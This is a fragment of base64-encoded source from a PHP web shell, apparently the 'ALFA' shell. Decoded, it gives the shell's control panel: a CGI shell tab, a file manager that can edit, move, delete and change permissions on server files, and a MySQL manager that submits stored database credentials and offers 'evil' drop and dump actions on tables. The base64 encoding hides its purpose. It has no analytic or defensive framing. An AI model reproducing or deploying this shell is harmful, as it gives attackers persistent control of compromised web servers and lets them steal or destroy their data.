pdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IHN0eWxlPSd0b3A6IDRweDsnIGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+T3B0aW9uczwvZGl2PjwvZGl2PjwvZGl2Pgo8ZGl2IGlkPSdlZGl0b3ItbWluaW1pemVkJyBvbmNsaWNrPSdzaG93RWRpdG9yKFwiZWRpdG9yXCIpOyc+PGRpdiBjbGFzcz0nbWluaW1pemVkLXdyYXBwZXInPjxzcGFuIGNsYXNzPSdvcHRpb25zX21pbl9iYWRnZSc+MDwvc3Bhbj48ZGl2IHN0eWxlPSd0b3A6IDJweDsnIGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+RWRpdG9yPC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J2NnaWxvYWRlci1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJjZ2lsb2FkZXJcIik7Jz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtd3JhcHBlcic+PHNwYW4gY2xhc3M9J29wdGlvbnNfbWluX2JhZGdlJz4wPC9zcGFuPjxkaXYgc3R5bGU9J3RvcDogMTJweDsnIGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+Q2dpIFNoZWxsPC9kaXY+PC9kaXY+PC9kaXY+CjxkaXYgaWQ9J3JpZ2h0Y2xpY2tfbWVudSc+CiAgPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JycgbmFtZT0nbmV3dGFiJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9uZXd0YWIuc3ZnXCI+IE9wZW4gaW4gbmV3IHRhYjwvYT4KICA8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJyBuYW1lPSdsaW5rJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9saW5rLnN2Z1wiPiBPcGVuIGZpbGUgZGlyZWN0bHk8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgbmFtZT0nZG93bmxvYWQnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2Rvd25sb2FkMi5zdmdcIj4gRG93bmxvYWQ8L2E+CiAgPGEgaHJlZj0nJyBuYW1lPSd2aWV3Jz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS92aWV3LnN2Z1wiPiBWaWV3PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSd2aWV3X2FyY2hpdmUnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3ZpZXcuc3ZnXCI+IFZpZXcgQXJjaGl2ZTwvYT4KICA8YSBocmVmPScnIG5hbWU9J2VkaXQnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2VkaXQuc3ZnXCI+IEVkaXQ8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwibW92ZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBocmVmPScnIG5hbWU9J21vdmUnPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L21vdmUuc3ZnXCI+IE1vdmU8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwiY29weVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgaHJlZj0nJyBuYW1lPSdjb3B5Jz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jb3B5LnN2Z1wiPiBDb3B5PC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFQb3B1cEFjdGlvbih0aGlzLCBcInJlbmFtZVwiKTsnIGZ0eXBlPScnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0ncmVuYW1lJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9yZW5hbWUuc3ZnXCI+ICBSZW5hbWU8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwibW9kaWZ5XCIpOycgZnR5cGU9JycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSdtb2RpZnknPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3RpbWUuc3ZnXCI+ICBNb2RpZnk8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgb25jbGljaz0nYWxmYVBvcHVwQWN0aW9uKHRoaXMsIFwicGVybWlzc2lvblwiKTsnIG5hbWU9J3Blcm1pc3Npb24nPjxpbWcgc3JjPVwiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2tleS5zdmdcIj4gQ2hhbmdlIFBlcm1pc3Npb25zPC9hPgogIDxhIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9J2FsZmFTeW5jTWVudVRvT3B0KHRoaXMpOycgcGF0aD0nJyBmbmFtZT0nJyBuYW1lPSdjb21wcmVzcyc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvcmVzaXplLnN2Z1wiPiBDb21wcmVzczwvYT4KICA8YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdhbGZhU3luY01lbnVUb09wdCh0aGlzKTsnIHBhdGg9JycgZm5hbWU9JycgbmFtZT0nZXh0cmFjdCc+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvaW5jcmVhc2Uuc3ZnXCI+IEV4dHJhY3Q8L2E+CiAgPGEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOycgbmFtZT0nZGVsZXRlJz48aW1nIHNyYz1cImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnXCI+IERlbGV0ZTwvYT4KPC9kaXY+CjxkaXYgaWQ9XCJmaWxlc21hbi10YWItZnVsbC1wYXRoXCI+PC9kaXY+CjxkaXYgaWQ9J2FsZXJ0LWFyZWEnIGNsYXNzPSdhbGVydC1hcmVhJz48L2Rpdj4KPGRpdiBjbGFzcz0nY2wtcG9wdXAtZml4ZWQnIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KCTxkaXYgaWQ9J3Nob3J0Y3V0TWVudS1ob2xkZXInPgoJCTxkaXYgY2xhc3M9J3BvcHVwLWhlYWQnPjwvZGl2PgoJCQk8Zm9ybSBhdXRvY29tcGxldGU9J29mZicgb25TdWJtaXQ9J3JldHVybiBmYWxzZTsnPgoJCQkJPGxhYmVsIGNsYXNzPSdvbGQtcGF0aC1sYmwnPjwvbGFiZWw+CgkJCQk8ZGl2IHN0eWxlPSdvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7JyBjbGFzcz0nb2xkLXBhdGgtY29udGVudCc+PC9kaXY+CgkJCQk8bGFiZWwgc3R5bGU9J21hcmdpbi10b3A6MTBweDsnIGNsYXNzPSduZXctZmlsZW5hbWUtbGJsJz5OZXcgZmlsZSBuYW1lPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmbmFtZSc+CgkJCQk8ZGl2IGNsYXNzPSdwZXJtLXRhYmxlLWhvbGRlcic+CgkJCQkJPHRhYmxlPgoJCQkJCSAgIDx0Ym9keT4KCQkJCQkgICAgICA8dHI+CgkJCQkJICAgICAgICAgPHRkPjxiPk1vZGU8L2I+PC90ZD4KCQkJCQkgICAgICAgICA8dGQ+VXNlcjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPkdyb3VwPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+V29ybGQ8L3RkPgoJCQkJCSAgICAgIDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5SZWFkPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1cicgdmFsdWU9JzQnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2dyJyB2YWx1ZT0nNCcgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3InIHZhbHVlPSc0JyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICA8L3RyPgoJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+V3JpdGU8L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3V3JyB2YWx1ZT0nMicgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZ3cnIHZhbHVlPScyJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd3dycgdmFsdWU9JzInIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgIDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5FeGVjdXRlPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1eCcgdmFsdWU9JzEnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2d4JyB2YWx1ZT0nMScgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3gnIHZhbHVlPScxJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICA8L3RyPgoJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+UGVybWlzc2lvbjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3UnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwidVwiLCBbXCJ1XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J2cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwiZ1wiLCBbXCJnXCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwid1wiLCBbXCJ3XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgPC90cj4KCQkJCQkgICA8L3Rib2R5PgoJCQkJCTwvdGFibGU+CgkJCQk8L2Rpdj4KCgkJCTwvZm9ybT4KCQk8ZGl2IGNsYXNzPSdwb3B1cC1mb290Jz4KCQkJPGJ1dHRvbiBzdHlsZT0nYmFja2dyb3VuZDogIzJiNTIyNTsnIG5hbWU9J2FjY2VwdCcgYWN0aW9uPScnIG9uY2xpY2s9J2FsZmFQb3BVcERvQWN0aW9uKHRoaXMpOyc+PC9idXR0b24+CgkJCTxidXR0b24gc3R5bGU9J2JhY2tncm91bmQ6ICM5ZTJjMmM7JyBvbmNsaWNrPSdkLnF1ZXJ5U2VsZWN0b3IoXCIuY2wtcG9wdXAtZml4ZWRcIikuc3R5bGUuZGlzcGxheT1cIm5vbmVcIjsnPkNhbmNlbGw8L2J1dHRvbj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4iOz8+CjxzY3JpcHQ+CmZ1bmN0aW9uIGFsZmFNeXNxbEFwaShlLHQpe3ZhciBhPXtob3N0Om15c3FsX2NhY2hlW2UuZGJfaWRdLmhvc3QsdXNlcjpteXNxbF9jYWNoZVtlLmRiX2lkXS51c2VyLHBhc3M6bXlzcWxfY2FjaGVbZS5kYl9pZF0ucGFzcyxkYjplLmRiX3RhcmdldCxkYl9pZDplLmRiX2lkfTtpZihlLmhhc093blByb3BlcnR5KCJkYl9pbmZvIikpZm9yKHZhciBpIGluIGUuZGJfaW5mbylhW2ldPWUuZGJfaW5mb1tpXTt2YXIgbD17YTphbGZhYjY0KCJTcWxfbWFuYWdlcl9hcGkiKSxjXzphbGZhYjY0KGNfKSxhbGZhMTphbGZhYjY0KEpTT04uc3RyaW5naWZ5KGEpKX07aWYoZS5oYXNPd25Qcm9wZXJ0eSgicG9zdCIpKWZvcih2YXIgaSBpbiBlLnBvc3QuaGFzT3duUHJvcGVydHkoImFsZmEyIikmJiJsb2FkX2RhdGEiIT1lLnBvc3QuYWxmYTImJiJwYWdlIiE9ZS5wb3N0LmFsZmEyJiYiZWRpdCIhPWUucG9zdC5hbGZhMiYmImRlbGV0ZSIhPWUucG9zdC5hbGZhMiYmKGQucXVlcnlTZWxlY3RvcigiIyIrZS5kYl9pZCsiIC5teXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyIC5teXNxbC1xdWVyeS1wYWdlciIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UuZGJfaWQrIiAubXlzcWwtcXVlcnktcmVzdWx0LWhlYWRlciAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9IiIpLGUucG9zdClsW2ldPWFsZmFiNjQoZS5wb3N0W2ldKTt2YXIgcj0iIjtmb3IodmFyIG8gaW4gbClyKz1vKyI9IitsW29dKyImIjthbGZhbG9hZGVyKGUuZGJfaWQsImJsb2NrIiksX0FqYXgoZC5VUkwscixmdW5jdGlvbihhKXthbGZhbG9hZGVyKGUuZGJfaWQsIm5vbmUiKSx0KGEpfSwhMCxlLmRiX2lkKX1mdW5jdGlvbiBhbGZhTXlzcWxGaWx0ZXJUYWJsZShlLHQpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgYT0iIixpPSIiLGw9KGE9IiIsIiIpO2lmKG51bGwhPWUpYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWUudmFsdWU7ZWxzZSBhPXQudGFyZ2V0LGk9dC5kYl9pZCxsPXQudmFsdWU7bD1uZXcgUmVnRXhwKGwsImkiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2krIiAiK2ErIiB1bCA+IGxpIikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbF90YWJsZXMiKTtpZihudWxsPT10KXJldHVybiExOy0xPT0odD10LmlubmVyVGV4dCkuc2VhcmNoKGwpP2Uuc3R5bGUuZGlzcGxheT0ibm9uZSI6ZS5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX0sMjAwKX1mdW5jdGlvbiBhbGZhTXlzcWxGaWx0ZXJBbGxUYWJsZShlLHQpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyBpbnB1dFtuYW1lPWZpbHRlcl9hbGxdIikudmFsdWUsbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLHI9W10sbz1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lciIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9uYW1lIik7Im5vIj09dCYmci5wdXNoKGEpLG8ucHVzaChhKX0pLHIubGVuZ3RoPjApe2lmKDA9PWkubGVuZ3RoJiZ2b2lkIDA9PT10KXJldHVybiExO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6clswXSxhamF4X2lkOiJteXNxbF9nZXRfYWxsX3RhYmxlcyIsZGJfaW5mbzp7ZGF0YWJhc2VzOnJ9LHBvc3Q6e2FsZmEyOiJsb2FkX2FsbF90YWJsZXMiLGFsZmEzOmx9fSxmdW5jdGlvbihyKXtpZigwIT1yLmxlbmd0aCl7Zm9yKHZhciBvIGluIHI9SlNPTi5wYXJzZShyKSl7dmFyIG49byxzPWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jbHMtIituKTthbGZhTXlzcWxNYWtlVGJsTGlzdChyW29dLHMsYSxuLGwpfXZvaWQgMD09PXQ/YWxmYU15c3FsRmlsdGVyVGFibGUobnVsbCx7ZGJfaWQ6YSx0YXJnZXQ6Ii5teXNxbC10YWJsZXMgLmxpc3RfY29udGFpbmVyIix2YWx1ZTppfSk6KGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib3BlbmVkIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyAucGFyZW50LWV4cGFuZGVyIGltZyIpLnNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nIil9fSl9ZWxzZSBpZih2b2lkIDA9PT10KWZvcih2YXIgbiBpbiBhbGZhTXlzcWxGaWx0ZXJUYWJsZShudWxsLHtkYl9pZDphLHRhcmdldDoiLm15c3FsLXRhYmxlcyAubGlzdF9jb250YWluZXIiLHZhbHVlOml9KSxvKWFsZmFNeXNxbFRhYmxlTW9kZShhLG9bbl0sImNsb3NlZCIpO2Vsc2V7dmFyIHM9IiIsYz1lLmdldEF0dHJpYnV0ZSgibW9kZSIpO2Zvcih2YXIgbiBpbiJvcGVuZWQiPT1jPyhlLnNldEF0dHJpYnV0ZSgibW9kZSIsImNsb3NlZCIpLHM9ImJfcGx1cy5wbmciKTooZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvcGVuZWQiKSxzPSJiX21pbnVzLnBuZyIpLG8pYWxmYU15c3FsVGFibGVNb2RlKGEsb1tuXSxjKTtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5wYXJlbnQtZXhwYW5kZXIgaW1nIikuc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvIitzfX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZU1vZGUoZSx0LGEpe3ZhciBpPWQucXVlcnlTZWxlY3RvcigiIyIrZSsiIC5jbHMtIit0KSxsPSIiO3ZvaWQgMD09PWE/KGw9LTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImhpZGUtZGItdGFibGVzIik/ImJfbWludXMucG5nIjoiYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QudG9nZ2xlKCJoaWRlLWRiLXRhYmxlcyIpKToib3BlbmVkIj09YT8obD0iYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QuYWRkKCJoaWRlLWRiLXRhYmxlcyIpKToobD0iYl9taW51cy5wbmciLGkuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZS1kYi10YWJsZXMiKSksZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgLmNscy0iK3QrIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS8iK2x9ZnVuY3Rpb24gYWxmYU15c3FsRXhwYW5kZXIoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1lLmdldEF0dHJpYnV0ZSgic3FsX2NvdW50IiksbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY2xzLSIrdCk7ImxvYWRlZCI9PWwuZ2V0QXR0cmlidXRlKCJtb2RlIik/YWxmYU15c3FsVGFibGVNb2RlKGEsdCk6YWxmYU15c3FsQXBpKHtkYl9pZDphLGRiX3RhcmdldDp0LGFqYXhfaWQ6Im15c3FsX2dldF90YWJsZXMiLHBvc3Q6e2FsZmEyOiJsb2FkX3RhYmxlcyIsYWxmYTM6aX19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiZhbGZhTXlzcWxNYWtlVGJsTGlzdChlPUpTT04ucGFyc2UoZSksbCxhLHQsaSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZXNFdmlsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTsiY2hlY2tlZCI9PWk/KGk9ITEsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJub3QiKSk6KGk9ITAsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJjaGVja2VkIikpLGQucXVlcnlTZWxlY3RvckFsbCgiIyIrYSsiICIrdCsiIGlucHV0W25hbWU9dGJsXFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkPWl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPSJub25lIjsiZHVtcCI9PWUudmFsdWUmJihpPSJibG9jayIpLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiICIrdCsiIC5kdW1wLWZpbGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT1pfWZ1bmN0aW9uIGFsZmFNeXNxbFRhYmxlc0R1bXBEcm9wQnRuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxpPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGw9W10scj1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLG89ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgIit0KSxuPW8ucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9dGFibGVzX2V2aWxdIikudmFsdWUscz1vLnF1ZXJ5U2VsZWN0b3IoIi5kdW1wLWZpbGUtaG9sZGVyIGlucHV0IikudmFsdWU7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitpKyIgIit0KyIgaW5wdXRbbmFtZT10YmxcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJmwucHVzaChlLnZhbHVlKX0pLGwubGVuZ3RoPjAmJmFsZmFNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOiJteXNxbF9xdWVyeV9ldmlsIixkYl9pbmZvOnt0YWJsZXM6bCxtb2RlOm4sZHVtcF9maWxlOnN9LHBvc3Q6e2FsZmEyOiJkdW1wX2Ryb3AifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksImRyb3AiPT1uP2FsZmFNeXNxbE1ha2VUYmxMaXN0KGUsbyxpLGEscik6by5xdWVyeVNlbGVjdG9yKCIuZHVtcC1maWxlLWhvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwiPGRpdj48YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiK3MrJyIsImRvd25sb2FkIik7XCc+PHNwYW4+RG93bmxvYWQ6ICcrcysiPC9zcGFuPjwvYT48L2Rpdj4iKSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxNYWtlVGJsTGlzdChlLHQsYSxpLGwpe3Quc2V0QXR0cmlidXRlKCJtb2RlIiwibG9hZGVkIik7dmFyIHI9Jzx1bD48bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iZGItb3B0LWlkIiBkYl9pZD0iJythKyciIHBsYWNlaG9sZGVyPSJGaWx0ZXIgVGFibGUiIHRhcmdldD0iLmNscy0nK2krJyIgb25rZXl1cD0iYWxmYU15c3FsRmlsdGVyVGFibGUodGhpcyk7IiBuYW1lPSJmaWx0ZXIiPjwvZGl2PjwvbGk+Jztmb3IodmFyIG8gaW4gZSludWxsIT1lW29dJiYocis9IjxsaT48ZGl2IGNsYXNzPSdibG9jayc+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2IGNsYXNzPSd0YWJsZXMtcm93Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIitlW29dLm5hbWUrIic+Jm5ic3A7PGEgY2xhc3M9J2RiLW9wdC1pZCcgZGJfdGFyZ2V0PSciK2krIicgZGJfaWQ9JyIrYSsiJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPVwiYWxmYUxvYWRUYWJsZURhdGEodGhpcywgJyIrZVtvXS5uYW1lKyInKVwiPjxzcGFuIGNsYXNzPSdteXNxbF90YWJsZXMnIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnPiIrZVtvXS5uYW1lKyI8L3NwYW4+PC9hPiIrKGw/IiA8c21hbGw+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0OycgY2xhc3M9J215c3FsX3RhYmxlX2NvdW50Jz4oIitlW29dLmNvdW50KyIpPC9zcGFuPjwvc21hbGw+IjoiJm5ic3A7IikrIjwvZGl2PjwvbGk+Iik7cis9JzwvdWw+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDI2cHg7bWFyZ2luLWJvdHRvbTogMTBweDttYXJnaW4tdG9wOiAxMHB4OyI+PGlucHV0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNFdmlsKHRoaXMpOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJytpKyciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIGRiX2lkPSInK2ErJyIgdGFyZ2V0PSIuY2xzLScraSsnIiBjbGFzcz0iZGItb3B0LWlkIiBuYW1lPSJ0YWJsZXNfZXZpbCIgc3R5bGU9InBhZGRpbmc6IDA7d2lkdGg6IDEwMHB4OyI+PG9wdGlvbiBzZWxlY3RlZD5kcm9wPC9vcHRpb24+PG9wdGlvbj5kdW1wPC9vcHRpb24+PC9zZWxlY3Q+IDxidXR0b24gb25jbGljaz0iYWxmYU15c3FsVGFibGVzRHVtcERyb3BCdG4odGhpcyk7cmV0dXJuIGZhbHNlOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiBkYl90YXJnZXQ9IicraSsnIiB0YXJnZXQ9Ii5jbHMtJytpKyciIGNsYXNzPSJkYi1vcHQtaWQiPkRvIGl0PC9idXR0b24+PGRpdiBj